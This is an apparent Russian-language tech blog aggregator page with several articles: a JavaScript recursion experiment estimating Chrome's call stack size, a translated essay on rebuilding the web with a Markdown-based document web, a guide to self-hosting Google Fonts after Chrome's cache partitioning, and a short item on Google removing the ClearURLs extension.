let i = 0;const func = () => {  i++;  func();};try {  func();} catch (e) {  // Словили ошибку переполнения стэка и вывели значение счетчика в консоль  console.log(i);}

Результатом вывода в консоль стало число в 13914. Делаем вывод, что перед тем, как переполнить стэк, наша функция вызвалась почти 14 тысяч раз.

Магия начинается тогда, когда мы начинаем играться с этим кодом. Допустим, изменим его вот таким образом:

let i = 0;const func = () => {  let someVariable = i + 1;  i++;  func();};try {  func();} catch (e) {  console.log(i);}

Единственное, что мы добавили, это объявление переменной someVariableв теле функции. Казалось бы, ничего не поменялось, но число стало меньше. На этот раз функция выполнилась 12523 раз. Что более чем на тысячу меньше, чем в прошлом примере. Чтобы убедиться, что это не погрешность, пробуем выполнять такой код несколько раз, но видим одни и те же результаты в консоли.

Почему же так? Что изменилось? Как понять, посмотрев на функцию, сколько раз она может выполниться рекурсивно?!

Магия раскрыта

Отличие второго примера от первого - наличие дополнительной переменной внутри тела функции. На этом все. Соответственно, можно догадаться, именно из-за этого максимальное количество рекурсивных вызовов стало меньше. Что-ж, а что, если у нас будет не одна, а четыре переменных внутри функции? По этой логике, количество рекурсивных вызовов станет еще меньше? Проверим:

let i = 0;const func = () => {  let a = i + 1;  let b = a + 1;  let c = b + 1;  let d = c + 1;  let e = d + 1;  i++;  func();};try {  func();} catch (e) {  console.log(i);}

По этой логике, значение счетчика должно стать еще меньше. Выдыхая, видим вывод - 8945. Ага, оно стало еще меньше. Значит, мы на правильном пути. Хочу привести небольшую аналогию, чтобы даже самым маленьким стало понятно.

Execution Stack (Call Stack) - это емкость с водой. Изначально она пустая. Так получилось, что эта емкость с водой стоит прямо на электрической проводке. Как только емкость переполнится, вода проливается на провода, и мы видим ошибку в консоли. При каждом новом рекурсивном вызове функции в стэк падает капелька воды. Само собой, чем капелька воды крупнее, тем быстрее наполнится стэк.

Емкости бывают разные по размеру. И размер емкости в данном примере - эторазмер коллстэка. А точнее - количество байт, которое он максимально может в себе удержать. Как гласит статья про Call Stack (Execution Stack), которую я приложил в начале, на каждый вызов функции создается Execution Context - контекст вызова функции (не путать с this). И упрощая, в нем, помимо разных "подкапотных" штук, содержатся все переменные, которые мы объявили внутри функции. Как Execution Context, так и каждая переменная внутри него имеют определенный размер, который они занимают в памяти. Сложив эти два размера мы и получим "размер" капли, которая капает в кувшин при каждом рекурсивном вызове функции.

У нас уже достаточно много данных. Может быть, поэкспериментируем еще? А давайте попробуем вычислить, какой размер коллстэка в движке, который использует Chrome?

Математика все-таки пригодилась

Как мы выяснили, у нас есть две неизвестные, которые составляют размер функции (капельки, которая падает в емкость). Это размер самого Execution Stack, а так же сумма размеров всех переменных внутри функции. Назовем первую N, а вторую K. Сам же неизвестный размер коллстэка обозначим как X.

В итоге - количество байт, которое занимает функция (в упрощенном виде) будет:

FunctionSize = N + K * SizeOfVar

SizeOfVar в данном случае - количество байт, которые занимает переменная в памяти.

Учитывая, что мы знаем количество вызовов первой функции, в теле которой не объявляются переменные, размер коллстэка можно выразить как:

X = (N + 0 * SizeOfVar)* 13914 = N * 13914

И, для второго случая, возьмем функцию, внутри которой было объявлено пять переменных.

X = (N + 5 * SizeOfVar) * 8945

Иксы в обоих случаях обозначают одно и то же число - размер коллстэка. Как учили в школе, можем приравнять правые части уравнений.

N * 13914 = (N + 5 * SizeOfVar) * 8945

Выглядит неплохо. У нас тут две неизвестные переменные - N и SizeOfVar. Если N мы не можем откуда-то узнать, то что насчет SizeOfVar? Заметим, что во всех функциях, которые фигурировали выше, переменные хранили значение с типом "number", а значит, нужно просто узнать, сколько же байт в памяти занимает одна такая переменная.

С помощью великого гугла получаем ответ - "Числа в JavaScript представлены 64-битными значениями с плавающей запятой. В байте 8 бит, в результате каждое число занимает 64/8 = 8 байт." Вот она - последняя неизвестная. 8 байт. Подставляем ее в наше уравнение и считаем, чем равно N.

N * 13914 = (N + 5 * 8) * 8945

Упрощаем:

N * 13914 = N * 8945 + 40 * 8945

Если выразить отсюда N, то получим ответ: N равно приблизительно 72. В данном случае 72 байтам.

Теперь, подставив N = 72 в самое первое уравнение, получим, что размер коллстэка в Chrome равен... 1002128 байтов. Это почти один мегабайт. Не так уж и много, согласитесь.

Мы получили какое-то число, но как убедиться, что наши расчеты верны и число правильное? А давайте попробуем с помощью этого числа спрогнозировать, сколько раз сможет выполниться функция, внутри которой будет объявлено 7 переменных типа 'number'.

Считаем: Ага, каждая функция будет занимать (72 + 7 * 8) байт, это 128. Разделим 1002128 на 128 и получим число... 7829! Согласно нашим расчетам, такая функция сможет рекурсивно вызваться именно 7829 раз!Идем проверять это в реальном бою...

Мы были очень даже близки. Реальное число отличается от теоретического всего на 3. Я считаю, что это успех. В наших расчетах было несколько округлений, поэтому результат мы посчитали не идеально, но, очень-очень близко. Небольшая погрешность в таком деле - нормально.

Получается, что мы посчитали все верно и можем утверждать, что размер пустого ExecutionStack в Chrome равен 72 байтам, а размер коллстэка - чуть меньше одного мегабайта.

Отличная работа!

Важное примечание

Размер стэка разнится от браузера к браузеру. Возьмем простейшую функцию из начала статьи.Выполнив ее в Сафари получим совершенно другую цифру. Целых 45606 вызовов. Функция с пятью переменными внутри выполнилась бы 39905 раз. В NodeJS числа очень близки к Chrome по понятным причинам. Любопытный читатель может проверить это самостоятельно на своем любимом движке JavaScript.

А что с непримитивами?

Если с числами все вроде бы понятно, то что насчет типа данных Object?

let i = 0;const func = () => {  const a = {    key: i + 1,  };  i++;  func();};try {  func();} catch (e) {  console.log(i);}

Простейший пример на ваших глазах. Такая функция сможет рекурсивно вызваться 12516. Это практически столько же, сколько и функция с одной переменной внутри. Тут в дело вступает механизм хранения и передачи объектов в JS'е - по ссылке. Думаю, большинство уже знают об этом.

А что с этим? А как поведет себя вот это? А что с *?

Как вы заметили, экспериментировать можно бесконечно. Можно придумать огромное количество кейсов, которые будут прояснять эту ситуацию глубже и глубже. Можно ставить эксперименты при разных условиях, в разных браузерах, на разных движках. Оставляю это на тех, кого эта тема заинтересовала.

Итоги:

  • Количество рекурсивных вызовов функции до переполнения стэка зависит от самих функций.

  • Размер стэка измеряется в байтах.

  • Чем "тяжелее" функция, тем меньше раз она может быть вызвана рекурсивно.

  • Размер стэка в разных движках различается.

Вопрос особо любознательным: А сколько переменных типа "number" должно быть объявлено в функции, чтобы она могла выполниться рекурсивно всего два раза, после чего стэк переполнится?

Подробнее..

Перевод Нам надо создать веб с чистого листа

26.08.2020 12:14:14 | Автор: admin
image


Эволюция веба на протяжении последнего десятилетия отражает развитие американской экономики. Все ключевые показатели движутся на графиках вверх и вправо, стабильный поток фундаментальных прорывов обеспечивает ощущение прогресса, но в действительности удобство работы и влияние технологий на людей стагнирует или даже регрессирует.

Этот кризис влияет на платформы, творцов и потребителей.

Я попытаюсь немного проанализировать и диагностировать эту ситуацию. Если вы хотите просто прочитать мою обывательскую, непрофессиональную речь о необходимости перезагрузки веба, то можете пропустить эту часть. Идея заключается в том, что мы можем выбрать новый облегчённый (markdown) формат разметки на замену HTML и CSS, разделить веб на веб документов и приложений, вернув себе скорость, доступность и интересность сети.

В этом посте используется педантическое определение веба. Несколько раз я уже рассказывал о попытках повторного изобретения Интернета. Такие проекты, как dat, IPFS и arweave были задуманы для изобретения заново Интернета или его транспортного слоя и слоя передачи данных. Веб это то, что находится поверх этих слоёв: HTML, CSS, URL, JavaScript, работа в браузерах.

Крушение платформ


На прошлой неделе произошло важное изменение со стороны платформ организация Mozilla уволила 250 сотрудников и заявила, что это повлияет на разработку Firefox. Браузер Firefox не был вторым по популярности им является Safari, в основном из-за подневольной аудитории владельцев iPhone и iPad. Однако он был самым популярным браузером, который люди выбирали.


График с сайта statcounter

Настоящим победителем стал не сам Chrome, а движок Chrome. Одна кодовая база KHTML разделилась на WebKit (Safari) и Blink (Chrome, Microsoft Edge, Opera и т.д.)

Практически, именно так выглядит определение монокультура из учебников. С одной стороны, это победа с точки зрения сотрудничества, потому что никому не нужно тратить время на конкурирующие реализации, а веб-разработчики сталкиваются с одинаковыми особенностями и багами во всех браузерах. Но в более глубоком смысле это угрожает базовым принципам эволюции веба.

Специализации и реализации



Веб эволюционировал благодаря комбинированию спецификаций и реализаций. Такие организации, как WHATWG, W3C и IETF были пространствами для сотрудничества независимых разработчиков, корпораций и учёных в области обсуждения потенциала новых возможностей веба. Браузеры тестировали их идеи на множестве разных реализаций.

Это было интересной частью структуры: такая система гарантировала всем нам, что можно развиваться вместе, и что одной из наших целей является возможность вносить вклад в веб для множества участников. Нас расстраивало, когда на caniuse появлялись пустые ячейки, однако в целом идея заключалась в том, что даже если разные браузеры могут быть лучшими в разных аспектах, рано или поздно они друг друга догоняют. Chrome не был первым браузером, который начал вводить новые возможности и оптимизации.

Работа в сотрудничестве медленнее, чем в одиночку, но она даёт преимущества, которые мы сегодня потеряли. Chrome развивался чрезвычайно быстро, он с потрясающей скоростью добавлял новые спецификации и идеи, став одним из самых сложно воссоздаваемых программных продуктов.

Мне кажется, лучше всего это сформулировал Майк Хили:

Вам не кажется, что веб практически монополизирован с точки зрения сложности, если движки рендеринга для него способы создавать только одна-две организации?

Сегодня не только почти невозможно создать новый браузер с нуля если вы всё-таки этого добьётесь, необходимость постоянной гонки за реализацией новых стандартов потребует целого коллектива специалистов. Об этом можно прочитать в статье Дрю Деволта Web browsers need to stop (Веб-браузерам нужно остановиться); также рекомендую прочитать и другие его материалы.

А как насчёт Flow?
Да, существует браузер под названием Flow, который могут выпустить и который сможет поддерживать весь набор стандартов веба. Если его выпустят, я буду очень этому рад, но о нём целый год только говорят без каких-то конкретных доказательств существования, так что с равной вероятностью он может оказаться vaporware.

Проблема для творцов


Для веба стало намного сложнее разрабатывать.

Веб в течение 25 лет только рос, у него было очень мало возможностей уменьшиться, а сегодня он находится под влиянием чрезвычайно недальновидной культуры, заключающейся в экономическом и карьерном разрастании без каких-либо планов на дальнюю перспективу. Существует множество способов реализовать что-то, а некоторые из самых популярных способов создания приложений в вебе, по моему мнению, обычно чрезвычайно, избыточно мощны.

Лучший способ войти в веб-разработку в 2020 году это выбрать нишу, например Vue.js или React, и надеяться на то, что в команде есть специалист по CSS и доступности.

Для тех, кто просто хочет создать веб-страницу, а не стремится попасть в отрасль, существует сбивающее с толку множество технологий, но самые простые и, вероятно, самые лучшие, из них, стигматизированы. Люди чаще пишут резюме на React с GraphQL, чем вбивают HTML в Блокноте.

Проблема для потребителей


Мы надеемся, что все инновации создаются ради пользователя, но часто это не так. Похоже, что современные веб-сайты самые большие, медленные и забагованные за всю историю веба. Наши компьютеры почти не становятся быстрее, а скорости Интернет-подключений стагнируют (даже не пытайтесь сказать что-нибудь о 5G). Рост размера веб-страниц обгоняет рост всех остальных параметров.

Из-за всего этого я уже не жду, что страницы будут работать быстро даже с установленным в Firefox uBlock и хорошим местным оптоволоконным провайдером.

Но я не хочу во всём винить этих веб-разработчиков. Могу поделиться довольно забавной историей с моего прежнего места работы. Мы собирали данные о взаимодействии пользователей с сайтами, чтобы отвечать на простые вопросы типа для загрузки файлов на сервер люди щёлкают на кнопку или пользуются drag & drop? Поэтому мы использовали Segment инструмент, позволяющий при помощи простого скрипта добавлять конвейеры сбора данных. Однако проблема заключалась в том, что у Segment была огромная страница с сотнями поставщиков данных и компаний, занимающихся рекламными технологиями. И, разумеется, те ребята, которые в компании занимаются бизнесом, начали нажимать на все эти кнопки.

Понимаете, проблема с рекламой и отслеживанием данных заключается в том, что всё это можно делать, а разве кто-то от этого откажется? (В нашем случае я отказался и добавил CSP, блокирующий доступ новых рекламодателей на уровне страниц.)

Возврат к простоте


Невозможно прийти к простой системе, добавляя простоту к сложной системе. Ричард О'Киф

Куда же нам двигаться дальше? Самые умные люди предлагают устроить пересмотр версий веба.

Как же нам сделать веб интересным, удобным для совместного творчества и хорошим?

Во-первых, я подумал, что существуют два веба:

Веб документов



Есть веб документов: блоги, новости, Википедия, Twitter, Facebook. Насколько я понимаю, по сути, это тот веб, каким он виделся изначально (мне тогда было два года). CSS, который мы сейчас воспринимаем как инструмент, с помощью которого дизайнеры могут создавать уникальность бренда и добавлять детали с точностью до пикселя, изначально воспринимался как способ реализации читаемости документов без форматирования, позволяющий читателям этих документов настраивать их внешний вид. На самом деле, этот атрибут какое-то время сохранялся в Chrome в виде пользовательских таблиц стилей и до сих пор работает в Firefox. Однако в современном вебе это будет непростой задачей, ведь он фактически отказался от идеи семантического HTML.

Веб приложений



А ещё есть веб приложений. Он зародился как серверные приложения, построенные на основе чего-то типа Django и Ruby on Rails. До них существовало множество технологий, которые теперь вечно будут жить в корпорациях, например, сервлеты Java.

Backbone.js продемонстрировал, что многие такие приложения можно перенести в браузер, после чего React и многие его SPA-конкуренты создали для веба новый мировой порядок клиентские приложения с высокой степенью интерактивности и сложности.

Война между частями веба


Я утверждаю, что именно такая двойственная природа создаёт магию веба. Но она является и разрушительной силой.

Магия заключается в том, что простой блог может быть средством творчества, великолепным интерактивным способом самовыражения. Мой сайт не такой, но я просто говорю, что это возможно.

Проблема в том, что веб документов часто страдает от характеристик приложения именно JavaScript и анимации, их сложность превращают среднестатистический новостной веб-сайт в настоящую катастрофу. Когда веб-сайты документов перенимают паттерны приложений, то они часто случайно приносят в жертву доступность, скорость и машиночитаемость.

А веб приложений страдает от характеристик документов интерактивные приложения прилагают огромные усилия к тому, чтобы избегать большинства фундаментальных характеристик HTML и CSS, и используют их только как сырьё полностью избегая непосредственного написания HTML, избегая написания CSS, избегая стандартных функций анимации, заменяя постраничную навигацию на нечто, что выглядит похоже, но работает совершенно иначе. Веб приложений использует JSX, а не HTML, и предпочитает иметь с ним дело и в самом браузере, или использует Svelte вместо JavaScript, и тоже предпочитает его.

Когда я читаю посты в блогах традиционных веб-разработчиков, которых бесит, что HTML и CSS сегодня уже недостаточно и всё стало таким сложным, то я думаю, что в основном так получилось потому, что во многих местах стек разработки приложений в создании веб-сайтов заменил стек создания документов. Там, где бы мы использовали Jekyll или рендеринг на стороне сайта, теперь применяется React или Vue.js. У такого подхода есть преимущества, но для множества веб-сайтов с минимальной интерактивностью это означает отказ от накопленных за десятки лет знаний в обмен на некие преимущества скорости, которые могут быть даже не важны.

Притягательность социальных сетей


Притягательность социальных сетей частично вызвана тем, что они позволяют нам создавать документы без размышлений о веб-технологиях и обеспечивают гарантии относительно скорости, доступности и совершенства, которые без соцсетей потребовали бы много нашего времени. Нам не приходится беспокоиться о том, чтобы пост на Facebook быстро грузился на телефонах друзей или о правильном редактировании и публикации фотографии в Instagram обо всём этом позаботились за нас.

В какой-то степени, для этого не обязательны возможности соцсетей: стандарты наподобие RSS и сервисы типа Instapaper демонстрируют, что красивое форматирование и распространение можно реализовать на уровне платформы и создать поверх уже существующих ванильных веб-сайтов.

Но ведь чёткого разделения нет
Да, кто-то может сказать: эти категории не являются точными! Существует множество приложений, не жертвующих производительностью или доступностью, и множество документальных веб-сайтов, которым точно не хватает интерактивность, и множество разработчиков, просто использующих платформу (ванильный JavaScript или веб-компоненты), которым не нужно, чтобы веб был другим. Все категории, которые мы берём из сред реального мира, будут неточными. Именно так работает нетехническая мысль: вопрос не в том, идеальны ли категории, а в том, полезны ли они для развития дискуссии.

Веб документов 2.0


Разумеется, было бы здорово реализовать объединённую теорию нового веба, в которой достаточно характеристик приложений и достаточно характеристик документов для создания всевозможных гибридных интерактивных документов, с которыми мы сегодня работаем. Но путь к разделённому вебу для нас понятнее, и о нём я подумал в первую очередь, так что давайте немного поговорим о нём.

  • Правило 1 не создавать подмножеств. Если заменой веба будут только те функции, которые присутствовали в Firefox 10 десять лет назад, то такая версия никому не понравится.
  • Правило 2 не делать его совместимым. Если альтернативный веб будет существовать параллельно, неотличимо от современного веба, то нам никогда не удастся снизить сложность, потому что альтернативные веб-браузеры всё равно будут поддерживать всё, и у людей не будет стимула покинуть старый веб.
  • Правило 3 сделать его лучше для всех. Преимущества должны быть для всех, находящихся в экосистеме: для людей, создающих страницы, для людей, читающих их, и для людей, которые создают технологии, позволяющие читать страницы.

Итак, допустим, мы создаём новый веб документов.

Во-первых, нам понадобится минимальный стандартизованный язык разметки для передачи документов. Вероятно, мы захотим начать с lightweight markup language, который будет заточен под генерирование HTML. Достаточно подходящим выбором кажется строгая разновидность Markdown под названием Commonmark. Это язык, на котором я писал все свои посты, самый популярный в своём семействе. Для Markdown есть множество замечательных парсеров и большая экосистема инструментов.

Далее нам нужен браузер. Уже долгое время Mozilla работала над совершенно новым браузером Servo. На прошлой неделе команду разработки уволили, и это печально. Этот проект включает в себя независимые Rust-крейты для рендеринга шрифтов, а также высококлассную реализацию Markdown на Rust и постоянно растущий набор потрясающих фреймворков приложений. Можно ли создать браузер для чистого Markdown, напрямую использующего этот конвейер? Может быть?

Я считаю, что такая комбинация позволит нам в значительной мере вернуть потерянную скорость. Мы могли бы получать страницу на экран за малую долю времени по сравнению с современным вебом. Потребление памяти может быть крошечным. Система по умолчанию будет невероятно доступной. Можно будет создавать отлично выглядящие стандартные таблицы стилей и делиться альтернативными пользовательскими страницами стилей. Благодаря значительно уменьшившемуся объёму мы сможем портировать систему на всевозможные устройства.

А как будут выглядеть инструменты редактирования веб-сайтов (что, наверно, важнее всего)? Они могут быть намного проще.

Как бы выглядело агрегирование? Если бы веб-страницы больше походили на документы, чем на приложения, то нам бы не понадобился RSS веб-сайты имели бы индекс, указывающий на документы и считыватель мог бы по умолчанию агрегировать сами веб-страницы.

Мы могли бы связать два веба при помощи чего-то вроде файла well-known протокола dat, или использовать заголовок Accept для создания браузера, понимающего HTML, но предпочитающего lightweight-страницы.

Веб приложений 2.0


У меня есть такое ощущение, что какую бы проблему веба я ни упомянул, мне автоматически ответят, что её сможет устранить WebAssembly. Может ли так быть?

Не знаю. WebAssembly на самом деле отличная штука, но должны ли веб-приложения просто рендериться на canvas, а каждое приложение тащить свою собственный графический тулкит? Действительно ли нам нужны различия в реализации сглаживания в веб-приложениях? Приложения в контейнерах существуют, взгляните хотя бы на Qubes, но на самом деле пользователи должны стремиться не к ним. Любой, кто пользовался Blender или Inkscape на Mac, примерно представляет, как бы всё это выглядело.

Или может ли WebAssembly стать новым ядром, а рендеринг UI по-прежнему будет выполняться HTML? Или мы можем создать общую связанную библиотеку, которую будут использовать WebAssembly-приложения. Она бы работала примерно как SwiftUI и предоставляла удобные для приложений стандарты типа ограничений, а не концепции наподобие высоты строки и плавающих элементов, свойственных документам.

Проблема формирования представления о вебе приложений заключается в том, что он сильно разрастается.

Чем хуже становятся Mac App Store, Windows App Store, App Store и Play Store, чем большую долю требуют эти монополии, чем больше затрат необходимо, чтобы быть разработчиком под Mac или Windows, тем активнее эти приложения перемещаются в веб. Разумеется, некоторые приложения лучше в вебе. Но многие уходят туда просто потому, что это единственное оставшееся место, где можно легко, дёшево и свободно распространять или продавать продукт.

Когда-то мы могли устанавливать приложения, давать явное согласие на то, что оно будет выполняться на компьютере и использовать наше оборудование. Это время заканчивается, а веб-страницы сегодня имеют довольно сложные способы получения любой информации, от веб-камер, файлов, игровых контроллеров, синтеза аудио до криптографии и всего того, что когда-то было сферой возможностей .exe и .app. Разумеется, это даёт новую мощь, но ситуация довольно необычная.

Кто над этим работает?


  • Beaker Browser частично является повторным изобретением Интернета это простейший способ использования dat для децентрализации, но разработчики также экспериментируют с новыми типам и документов и способами их создания.
  • Project Gemini очень интересная альтернатива вебу с отчётливым ретро-колоритом. (Спасибо Джессу за информацию.)
  • Меня сильно впечатлил taizen браузер Википедии для командной строки. Он показывает, что работа с текстом может быть действительно интересной.

Что вы об этом думаете?


Существует множество возможных взглядов на эту проблему и способов её решения. Я считаю, что это на самом деле проблема (для всех, кроме Google). Идея веб-браузера как чего-то, что мы можем понять, веб-страницы как чего-то, что смогут создавать большее количество людей, кажется мне восхитительной.

Очень реалистичным кажется подход на основе markdown. Думаю, самый сильный аргумент против него заключается в том, что он высасывает из веба всю интересность, и отчасти это справедливо. Однако ранний веб не был интересным в привычном нам смысле там мы не могли творить искусство или использовать его для чего-то кроме обмена документами. Но он был потрясающе интересным, потому что делиться информацией интересно, а там это можно было делать простыми и универсальными способами. Поэтому важнее всего найти элементы, высвобождающие возможности такого плана, если, конечно, они существуют. Или найти другой план, который будет достаточно интересным.

Социальные сети обычно сильнее ограничивают, чем веб-страницы, но в то же время они более интересны по множеству важных причин, важнейшей из которых является возможность участия гораздо большего количества людей. Что если остальная часть веба имела бы такую простоту и непосредственность, не будучи при этом столь централизованной? Что если бы мы могли начать сначала?



На правах рекламы


Эпичные серверы это виртуальные серверы для размещения сайтов от маленького блога на Wordpress до серьёзных проектов и порталов с миллионной аудиторией. Доступен широкий выбор тарифных планов, максимальная конфигурация 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe!

Подробнее..

До свидания, Google Fonts. Последний аргумент

16.12.2020 12:18:50 | Автор: admin


Шрифты Google Fonts страшно популярны. Их загружают более 42,8 миллиона сайтов, в том числе Хабр. Библиотека Google Fonts содержит 1023 свободных шрифта и программные интерфейсы для их внедрения через CSS. Очень удобно, казалось бы.

Во многих статьях отмечалось, в какую цену обходятся многочисленные запросы через API. Совет самостоятельно хостить шрифты дают много лет. Даже сама Google давала такой совет на конференции Google I/O 2018 года в выступлении на тему веб-производительности.

Так почему же многие до сих пор загружают шрифты через Google Fonts API? Ну, был последний аргумент кэширование. Мол, благодаря общему CDN пользователю не нужно скачивать шрифт заново с каждого сайта. Однако в октябре 2020 года этот аргумент перестал работать. Теперь шрифты Google Fonts больше не кэшируются!

Свой хостинг быстрее


По своей природе Google Fonts даже со всеми оптимизациями не может загружаться клиенту быстрее, чем с родного хостинга. Сравнительные бенчмарки можно посмотреть, например, здесь и здесь.


Загрузка Google Fonts без preconnect

Оптимизированная загрузка Google Fonts с опцией preconnect (подсказка для браузера заранее подключиться к домену fonts.gstatic.com, чтобы ускорить установку соединения в будущем):


Загрузка Google Fonts с preconnect

Дело в том, что Google всегда запрашивает с сервера таблицу стилей:

<link href="http://personeltest.ru/aways/fonts.googleapis.com/css?family=Muli:400" rel="stylesheet">

Она загружается любом случае. А уже потом декларация @font-face говорит браузеру использовать локальную (кэшированную) версию шрифта при наличии таковой. По крайней мере, так было раньше:

@font-face {font-family: 'Open Sans';font-style: normal;font-weight: 400;src: local('Open Sans Regular'), local('OpenSans-Regular'), url(http://personeltest.ru/aways/fonts.gstatic.com/s/opensans/v15/mem8YaGs126MiZpBA-UFVZ0bf8pkAg.woff2) format('woff2');unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;}

Но в последнее время Google удалила фунцию local() из @font-face в Google Fonts! То есть шрифты Google Fonts теперь не могут считываться локально, если использовать API.

Из-за дополнительных запросов в к серверу Google возникает лишняя задержка.


Загрузка с fonts.gstatic.com с опцией preconnect


Загрузка со своего хостинга с опцией preload

Как видим, во втором случае запросы к fonts.gstatic.com отсутствуют, что сразу сокращает время загрузки страницы. Это самый оптимальный вариант.

Размещение шрифтов Google Fonts у себя


Марио Ранфтль создал очень полезный справочник google-webfonts-helper. Здесь можно выбрать конкретные шрифты из библиотеки Google Fonts, нужные наборы символов, начертания, посмотреть поддержку в браузерах и получить код CSS и непосредственно сами файлы. То есть можно перенести нужные шрифты на свой хостинг в пару нажатий кнопки мыши.

Выбираем шрифт, наборы символов и стили. Чем больше стилей мы выберем, тем больше объём скачивания для клиента.

У разных семейств шрифтов разные уровни проработки. Например, кириллицу поддерживают только 118 из 1023 шрифтов на Google Fonts. Не все шрифты поддерживают полный набор начертаний.


Самое популярное в коллекции Google Fonts семейство шрифтов Roboto

И получаем код CSS для вставки. Вариант для поддержки максимальным количеством браузеров, в том числе устаревшими:

/* roboto-regular - latin_cyrillic */@font-face {font-family: 'Roboto';font-style: normal;font-weight: 400;src: url('../fonts/roboto-v20-latin_cyrillic-regular.eot'); /* IE9 Compat Modes */src: local(''),url('../fonts/roboto-v20-latin_cyrillic-regular.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */url('../fonts/roboto-v20-latin_cyrillic-regular.woff2') format('woff2'), /* Super Modern Browsers */url('../fonts/roboto-v20-latin_cyrillic-regular.woff') format('woff'), /* Modern Browsers */url('../fonts/roboto-v20-latin_cyrillic-regular.ttf') format('truetype'), /* Safari, Android, iOS */url('../fonts/roboto-v20-latin_cyrillic-regular.svg#Roboto') format('svg'); /* Legacy iOS */}

Вариант для поддержки только современными браузерами:

/* roboto-regular - latin_cyrillic */@font-face {font-family: 'Roboto';font-style: normal;font-weight: 400;src: local(''),url('../fonts/roboto-v20-latin_cyrillic-regular.woff2') format('woff2'), /* Chrome 26+, Opera 23+, Firefox 39+ */url('../fonts/roboto-v20-latin_cyrillic-regular.woff') format('woff'); /* Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+ */}

Как видим, здесь функция local() сохранилась, в отличие от официальных стилей Google.

Директория по умолчанию для шрифтов ../fonts/.

Современным браузерам достаточно файлов WOFF и WOFF2, а для устаревших нужны ещё форматы TTF, EOT и SVG. Например, один из вариантов отказаться от устаревших форматов, отдавать только WOFF и WOFF2, а если у клиента старый браузер, то страница отобразится системным шрифтом, без загрузки лишних файлов.

В библиотеке Google Fonts шрифты оптимизируются, там ресурсы минимального размера. Так что для своего хостинга лучше брать файлы именно из этого источника.

Оптимизация загрузки


Просто разместить файлы на своём сервере недостаточно. Нужно обеспечить, чтобы шрифты загружались заранее, а не после парсинга CSS и создания CSSOM. Это делается через подсказку preload.

<link rel="preload" as="font" type="font/woff2"href="./fonts/muli-v12-latin-regular.woff2" crossorigin><link rel="preload" as="font" type="font/woff2"href="./fonts/muli-v12-latin-700.woff2" crossorigin>

Следует иметь в виду, что в таком случае браузер загрузит ресурсы в обязательном порядке независимо от того, понадобятся они ему впоследствии или нет.

Последний аргумент


Итак, единственным аргументом в пользу Google Fonts была быстрая и надёжная сеть доставки контента (CDN) с кэшированием. Google владеет точками присутствия у всех крупных провайдеров по всему миру.

Популярные шрифты вроде Open Sans и Roboto используются на многих сайтах. Идея была в том, что пользователю достаточно посетить один такой сайт ресурсы загружаются один раз и хранятся в кэше браузера, так что при заходе на другой сайт они не будут скачиваться повторно.

Но теперь так больше не работает. Начиная с версии Chrome 86, которая вышла в октябре 2020 года, межсайтовые ресурсы вроде шрифтов больше не делят общий CDN из-за разделённого браузерного кэша (partitioned browser cache).

В блоге Google объясняется смысл этой функции, которая реализована для защиты от межсайтового трекинга. То есть для приватности. К сожалению, ради этого пришлось пожертвовать производительностью.

При запросе ресурсов с CDN раньше в качестве ключа кэша использовался соответствующий URL ресурса (того же шрифта). Таким образом, если два разных сайта запрашивали картинку или шрифт с одного и того же URL, то этот ресурс не скачивался дважды.

Долгое время такой механизм хорошо работал с точки зрения производительности. Однако в последнее время появились идеи, как его эксплуатировать во вред людям. Оказалось, что по отклику браузера можно определить, что браузер или 1) скачивает ли ресурс заново, или 2) ресурс уже есть в кэше. Соответственно, в достаточно продвинутой атаке можно понять, какие сайты этот браузер посещал в прошлом. А исследователи доказали, что по истории посещённых сайтов/страниц можно с высокой степенью достоверности идентифицировать личность пользователя, даже если браузер запущен в режиме инкогнито, блокируется JavaScript и удаляются куки. То есть история посещённых страниц тоже подходящий вариант для фингерпринтинга.

Кроме фингерпринтинга, становится возможным межсайтовый трекинг, то есть отслеживание пользователей с уникальным ID на всех сайтах, которые участвуют в этой системе.

В такой ситуации Google ничего не оставалось, кроме как пожертвовать производительностью и запретить в браузере совместное кэширование ресурсов, в том числе шрифтов.

В новой реализации в качестве ключа кэша используется не только URL ресурса, а новый составной параметр Network Isolation Key. Он состоит из трёх частей: домен верхнего уровня, домен текущего фрейма и URL ресурса.

Таким образом, при посещении нового сайта тот же шрифт будет скачиваться заново с того же URL.

Разделённый кэш присутствует в Safari c 2013 года. Остальные подтянулись только сейчас:

  • Chrome: c версии 86 (октябрь 2020)
  • Safari: с 2013 года
  • Firefox: планируется реализовать
  • Edge: вероятно, в ближайшее время
  • Opera: вероятно, в ближайшее время
  • Brave: вероятно, в ближайшее время
  • Vivaldi: вероятно, в ближайшее время

Вслед за Chrome разделённый кэш планируют реализовать и разработчики Firefox, а затем с большой степенью вероятности и других браузеров, основанных на Chromium.

Таким образом, браузер всегда будет скачивать шрифты Google Fonts заново для каждого сайта. Последний аргумент в пользу использования общего кэша теперь не работает.

Что делать?


Печально, что из-за приватности приходится жертвовать производительностью и делать лишние сетевые запросы.

Что можно сделать пользователю, чтобы не скачивать шрифты каждый раз с каждого сайта?

  1. Отключить загрузку сторонних шрифтов в uBlock Origin.



  2. Отключить загрузку шрифтов в браузере.
    • Firefox: about:config, gfx.downloadable_fonts.enabled;


    • Chrome: запуск с параметром --disable-remote-fonts

  3. В качестве эксперимента попробовать локальный CDN, хотя Decentraleyes и LocalCDN на практике не кэшируют Google Fonts.

Раньше был вариант скачать все шрифты Google Fonts (около 300 МБ) и установить в системе. Но как сказано выше, такой вариант больше не работает из-за изменений @font-face. Если сайт использует Google Fonts, шрифты всё равно будут загружаться каждый раз заново. Локальная установка не поможет.



На правах рекламы


Мощные серверы в аренду на базе новейших процессоров AMD EPYC для размещения веб-проектов любой сложности, от лендингов до крупных новостных порталов или интернет-магазинов. Создайте собственный тарифный план в пару кликов и приступите к работе уже через минуту!

Подробнее..

Перевод Google удалил расширение ClearURLs из Chrome Web Store

25.03.2021 14:07:14 | Автор: admin

Google по каким-то причинам удалил популярное расширение ClearURL.

ClearURLs это расширение для браузера, повышающее конфиденциальность, которое автоматически удаляет метки отслеживания из URL-адресов. По словам его разработчика, это может помочь защитить вашу конфиденциальность при посещении сайтов.

